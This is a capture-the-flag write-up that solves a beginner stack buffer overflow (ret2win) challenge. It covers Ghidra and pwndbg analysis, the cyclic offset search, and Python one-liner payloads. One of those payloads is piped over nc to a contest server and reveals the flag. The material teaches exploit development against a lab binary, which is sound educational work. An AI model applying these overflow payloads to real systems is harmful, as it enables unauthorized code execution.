Event: RIFFHACK - Black Market Break-In Β Β·Β
Category: Binary Exploitation Β Β·Β
Difficulty: Easy
Description
A Federation checkpoint AI loops the same authorization prompt while a damaged Chozo console hums behind it. Push past the guard and see what the access vault is hiding.
Binary
samus_stack_smash (ELF x86-64 β renamed to .txt for hosting)
Solution
Let’s start with the basics:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| βββ(s1nisterγΏkali)-[~]
ββ$ file samus_stack_smash
samus_stack_smash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e23de7e27ae67bac3f1f58ed923d32bb1a08bbb9, for GNU/Linux 3.2.0, not stripped
βββ(s1nisterγΏkali)-[~]
ββ$ checksec samus_stack_smash
[*] '/home/s1nister/samus_stack_smash'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
|
Cool. This will be important for us later: PIE: No PIE.
No source code though, so let’s jump into Ghidra.
Symbols are present, so we get dropped right into the main function. In fact here are some other functions that might be of interest:

Let’s take a look at main:
1
2
3
4
5
6
7
8
| undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
vuln();
puts("Signal lost.");
return 0;
}
|
Seems pretty small. Just a call to vuln(). This is what vuln contains:
1
2
3
4
5
6
7
8
9
10
11
12
| void vuln(void)
{
char local_28 [32];
puts("== Galactic Federation Checkpoint ==");
puts("Samus, state your authorization glyphs:");
printf("> ");
gets(local_28);
printf("Telemetry echo: %s\n",local_28);
return;
}
|
Aha! It uses gets, which is a dangerous function since it allows reading an arbitrary amount of bytes. Which means it’s prone to buffer overflow.
But you’ll soon notice that there is no mention of a flag anywhere. Let’s keep going through the list of functions we got. What’s mission_clear?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| void mission_clear(void)
{
char *pcVar1;
char local_98 [136];
FILE *local_10;
local_10 = fopen("/flag.txt","r");
if (local_10 == (FILE *)0x0) {
puts("flag file missing. Contact an admin.");
/* WARNING: Subroutine does not return */
exit(1);
}
pcVar1 = fgets(local_98,0x80,local_10);
if (pcVar1 == (char *)0x0) {
puts("Could not read the flag.");
fclose(local_10);
/* WARNING: Subroutine does not return */
exit(1);
}
fclose(local_10);
printf("Mission complete! %s",local_98);
/* WARNING: Subroutine does not return */
exit(0);
}
|
Now that’s interesting. It seems to be the function that will actually print the flag and give us the answer. But who calls it? Where does mission_clear get called from?
We can right-click the function name and select References > Find References to mission_clear, and this is what we see:

So no one seems to be calling mission_clear. It seems like this function is unused at first glance. But then this is the function that gives us the flag. Well then how does this function even get called and how are we supposed to get the flag?
Answer: we have to forcefully call the function.
How do we do that?
Here’s how:
- Somehow get access to the
RIP (the register that points to the next instruction to be executed). - Make
RIP point to the address of mission_clear so that this function gets executed next and prints out the flag.
(Buffer overflows might have something to do with this.)
If you’ve been doing CTFs for some time, this is a classic ret2win challenge.
THE MAIN IDEA: our goal is to replace the value of RIP (instruction pointer). It points to the next instruction to be executed, and therefore RIP should hold the address of mission_clear. The next instruction to be executed will then be the beginning of our mission_clear function, which in turn prints out the flag.
And what address is mission_clear at? Let’s figure that out and keep it with us for later. Running info functions inside pwndbg should be enough.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010b0 puts@plt
0x00000000004010c0 fclose@plt
0x00000000004010d0 printf@plt
0x00000000004010e0 fgets@plt
0x00000000004010f0 gets@plt
0x0000000000401100 setvbuf@plt
0x0000000000401110 fopen@plt
0x0000000000401120 exit@plt
0x0000000000401130 _start
0x0000000000401160 _dl_relocate_static_pie
0x0000000000401170 deregister_tm_clones
0x00000000004011a0 register_tm_clones
0x00000000004011e0 __do_global_dtors_aux
0x0000000000401210 frame_dummy
0x0000000000401216 mission_clear
0x00000000004012d8 vuln
0x0000000000401345 main
0x0000000000401388 _fini
|
1
| 0x0000000000401216 mission_clear
|
Address of mission_clear: 0x0000000000401216.
Keep this address with you. We’ll use it shortly.
Let’s continue!
Remember the checksec output we had before? Remember seeing No PIE?
no-pie is a compiler/linker flag primarily used to disable the generation of Position Independent Executables (PIE). It serves as a prerequisite for ASLR, and no ASLR means that β in general β functions and variables always live at the same hex addresses.
So if we can find the address of mission_clear during our static analysis (using tools like Ghidra), we can be sure that the address will remain the same at runtime as well.
So how can we control RIP? Let’s explore the disassembly of vuln to figure it out. I’ll be using pwndbg. You can just use plain gdb as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| pwndbg> disas vuln
Dump of assembler code for function vuln:
0x00000000004012d8 <+0>: endbr64
0x00000000004012dc <+4>: push rbp
0x00000000004012dd <+5>: mov rbp,rsp
0x00000000004012e0 <+8>: sub rsp,0x20
0x00000000004012e4 <+12>: lea rax,[rip+0xd85] # 0x402070
0x00000000004012eb <+19>: mov rdi,rax
0x00000000004012ee <+22>: call 0x4010b0 <puts@plt>
0x00000000004012f3 <+27>: lea rax,[rip+0xd9e] # 0x402098
0x00000000004012fa <+34>: mov rdi,rax
0x00000000004012fd <+37>: call 0x4010b0 <puts@plt>
0x0000000000401302 <+42>: lea rax,[rip+0xdb7] # 0x4020c0
0x0000000000401309 <+49>: mov rdi,rax
0x000000000040130c <+52>: mov eax,0x0
0x0000000000401311 <+57>: call 0x4010d0 <printf@plt>
0x0000000000401316 <+62>: lea rax,[rbp-0x20]
0x000000000040131a <+66>: mov rdi,rax
0x000000000040131d <+69>: mov eax,0x0
0x0000000000401322 <+74>: call 0x4010f0 <gets@plt>
0x0000000000401327 <+79>: lea rax,[rbp-0x20]
0x000000000040132b <+83>: mov rsi,rax
0x000000000040132e <+86>: lea rax,[rip+0xd8e] # 0x4020c3
0x0000000000401335 <+93>: mov rdi,rax
0x0000000000401338 <+96>: mov eax,0x0
0x000000000040133d <+101>: call 0x4010d0 <printf@plt>
0x0000000000401342 <+106>: nop
0x0000000000401343 <+107>: leave
0x0000000000401344 <+108>: ret
End of assembler dump.
|
Let’s look near the end. What happens when this function ends?
1
2
| 0x0000000000401343 <+107>: leave
0x0000000000401344 <+108>: ret
|
What do you think ret actually does under the hood?
In 64-bit mode (IA-32e mode), executing a plain ret is functionally equivalent to:
- Pop from the stack into the instruction pointer register (
RIP). - Jump to the address stored in
RIP.
Let’s focus on the “pop from the stack” part.
Pop from where in the stack? From the top of the stack, of course!
What points to the top of the stack? The RSP register, of course!
Hence, if we can somehow take control of RSP, we essentially have control over RIP when the vuln function returns.
Our next job, then, is to take control of RSP. Let’s look back at the decompiled vuln function:
1
2
3
4
5
6
7
| char local_28 [32];
puts("== Galactic Federation Checkpoint ==");
puts("Samus, state your authorization glyphs:");
printf("> ");
gets(local_28);
printf("Telemetry echo: %s\n",local_28);
|
We read from input using gets and store it inside a buffer of size 32. But nothing is stopping us from typing more than 32 characters into the input, and that should overflow the buffer.
If we start the executable and type something larger than 32 characters, this is what happens:
1
2
3
4
5
6
| == Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
|
Let’s look at the registers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| βββββββββββββββββββββ[ LAST SIGNAL ]βββββββββββββββββββββ
Program received signal SIGSEGV (fault address: 0x0).
βββββββββββββββββββββ[ REGISTERS ]βββββββββββββββββββββ
RAX 0x54
RBX 0
RCX 0
RDX 0
RDI 0x7fffffffda50 ββΈ 0x7fffffffda80 ββ 'Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
RSI 0x7fffffffda80 ββ 'Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
R8 0x54
R9 0
R10 0
R11 0x202
R12 1
R13 0x7ffff7ffd000 (_rtld_global) ββΈ 0x7ffff7ffe2f0 ββ 0
R14 0x7fffffffdd88 ββΈ 0x7fffffffe0e8 ββ 0x5245545f5353454c ('LESS_TER')
R15 0x403e18 (__do_global_dtors_aux_fini_array_entry) ββΈ 0x4011e0 (__do_global_dtors_aux) ββ endbr64
RBP 0x4141414141414141 ('AAAAAAAA')
RSP 0x7fffffffdc58 ββ 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'
RIP 0x401344 (vuln+108) ββ ret
|
Focus on this bit right here:
1
| RSP 0x7fffffffdc58 ββ 'AAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
Nice! So by typing lots of characters into the input we managed to overflow the input buffer and we overflowed into RSP.
Why does it overflow into the RSP, you might ask. Or, what does our input have to do with writing into RSP? Well, local variables inside of functions are usually stored on the stack. So when you overflow the buffer, you’re effectively overflowing into other things that are also on the stack β which might also include the value at the top of the stack that RSP points to.
You can play around with more or fewer characters to see how that affects the registers, but let’s get back to business.
THE MAIN IDEA: find how many characters it takes to overflow right into the start of RSP. After that, write the address of mission_clear into RSP so that when RSP is popped into RIP, RIP will point to mission_clear β which would cause our target function to run and give us the flag!
Our first task, then, is to find the number of characters after which we reach into RSP.
Let’s create some inputs using cyclic in pwndbg:
1
2
| pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
|
That string will be our input. Let’s run our executable with it:
1
2
3
4
5
6
7
8
9
10
11
| pwndbg> run
Starting program: /home/s1nister/binexp/samus_stack_smash
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Telemetry echo: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Program received signal SIGSEGV, Segmentation fault.
|
Look at the registers and RSP should show something like:
1
2
| RSP 0x7fffffffdc58 ββ 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
RIP 0x401344 (vuln+108) ββ ret
|
Take the first 8 characters (8 bytes) and then use cyclic -l <inp>:
1
2
3
| pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
|
This tells us that 40 A characters overflow to reach right at the start of RSP. After that, whatever you send goes into whatever location RSP points to. (BTW we’re not writing into RSP per se β RSP is just a register that holds the location of the top of the stack. We’re interested in what RSP points to, not RSP itself.)
Let’s test this. The following is what we want to achieve:
1
2
3
4
| 'A' * 40 + 0xdeadbeef
Which is just: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0000deadbeef
Other stuff | RSP |
|
Here is our payload:
1
| python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x00\x00\x00\x00\xde\xad\xbe\xef")' > payload
|
Let’s pipe that into our program with run < payload:
1
2
| RSP 0x7fffffffdc58 ββ 0xefbeadde00000000
RIP 0x401344 (vuln+108) ββ ret
|
Strange. RSP should show 0000deadbeef, right? Not really β this is a little-endian binary. Read more about endianness on Wikipedia.
All that means is we should pass in this instead:
1
| b"\xef\xbe\xad\xde\x00\x00\x00\x00"
|
Let’s do that:
1
| python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\xef\xbe\xad\xde\x00\x00\x00\x00")' > payload
|
And run it again:
1
2
| RSP 0x7fffffffdc60 ββΈ 0x7fffffffdd00 ββ 0
RIP 0xdeadbeef
|
Would you look at that! Our 0xdeadbeef made it into RSP and was subsequently popped into RIP as well, so the next piece of code to be executed is at address 0xdeadbeef!
All we need to do right now is replace 0xdeadbeef with the address of mission_clear. In little-endian, of course. We can use 0x0000000000401216, or even something like 0x000000000040121a or 0x000000000040121b β use the disassembly below as a reference. It’s important that you play around with which address makes it work. Sometimes the first address might not work and some other addresses might fail because of bad characters in them. These things are left for the reader to experiment with. Read more about bad characters in exploit development.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| pwndbg> disas mission_clear
Dump of assembler code for function mission_clear:
0x0000000000401216 <+0>: endbr64
0x000000000040121a <+4>: push rbp
0x000000000040121b <+5>: mov rbp,rsp
0x000000000040121e <+8>: sub rsp,0x90
0x0000000000401225 <+15>: lea rax,[rip+0xddc] # 0x402008
0x000000000040122c <+22>: mov rsi,rax
0x000000000040122f <+25>: lea rax,[rip+0xdd4] # 0x40200a
0x0000000000401236 <+32>: mov rdi,rax
0x0000000000401239 <+35>: call 0x401110 <fopen@plt>
0x000000000040123e <+40>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401242 <+44>: cmp QWORD PTR [rbp-0x8],0x0
0x0000000000401247 <+49>: jne 0x401262 <mission_clear+76>
0x0000000000401249 <+51>: lea rax,[rip+0xdc8] # 0x402018
0x0000000000401250 <+58>: mov rdi,rax
0x0000000000401253 <+61>: call 0x4010b0 <puts@plt>
0x0000000000401258 <+66>: mov edi,0x1
0x000000000040125d <+71>: call 0x401120 <exit@plt>
0x0000000000401262 <+76>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000401266 <+80>: lea rax,[rbp-0x90]
0x000000000040126d <+87>: mov esi,0x80
0x0000000000401272 <+92>: mov rdi,rax
0x0000000000401275 <+95>: call 0x4010e0 <fgets@plt>
0x000000000040127a <+100>: test rax,rax
0x000000000040127d <+103>: jne 0x4012a4 <mission_clear+142>
0x000000000040127f <+105>: lea rax,[rip+0xdb7] # 0x40203d
0x0000000000401286 <+112>: mov rdi,rax
0x0000000000401289 <+115>: call 0x4010b0 <puts@plt>
0x000000000040128e <+120>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000401292 <+124>: mov rdi,rax
0x0000000000401295 <+127>: call 0x4010c0 <fclose@plt>
0x000000000040129a <+132>: mov edi,0x1
0x000000000040129f <+137>: call 0x401120 <exit@plt>
0x00000000004012a4 <+142>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004012a8 <+146>: mov rdi,rax
0x00000000004012ab <+149>: call 0x4010c0 <fclose@plt>
0x00000000004012b0 <+154>: lea rax,[rbp-0x90]
0x00000000004012b7 <+161>: mov rsi,rax
0x00000000004012ba <+164>: lea rax,[rip+0xd95] # 0x402056
0x00000000004012c1 <+171>: mov rdi,rax
0x00000000004012c4 <+174>: mov eax,0x0
0x00000000004012c9 <+179>: call 0x4010d0 <printf@plt>
0x00000000004012ce <+184>: mov edi,0x0
0x00000000004012d3 <+189>: call 0x401120 <exit@plt>
End of assembler dump.
|
Anyway, I’ll use 0x000000000040121b. In little-endian of course.
1
| python -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x1b\x12\x40\x00\x00\x00\x00\x00")' > payload
|
1
2
3
4
5
6
7
8
9
10
| pwndbg> run < payload
Starting program: /home/s1nister/binexp/samus_stack_smash < payload
Downloading separate debug info for system-supplied DSO at 0x7ffff7fc4000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag file missing. Contact an admin.
[Inferior 1 (process 12779) exited with code 01]
|
And with this payload our mission_clear actually executes. If we’d had a flag file, it would’ve printed the flag as well.
Here’s what I used to solve it during the contest:
1
2
3
4
5
| (python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x1b\x12\x40\x00\x00\x00\x00\x00\n")'; cat) | nc 192.81.208.91 1337
== Galactic Federation Checkpoint ==
Samus, state your authorization glyphs:
> Telemetry echo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mission complete! bitctf{{m37r01d_57ack_0v3rrun}}
|
You can make the solution fancier with pwntools and writing it all inside an exploit.py. Maybe we’ll do that next time :)
Thanks for reading!
β s1nisteR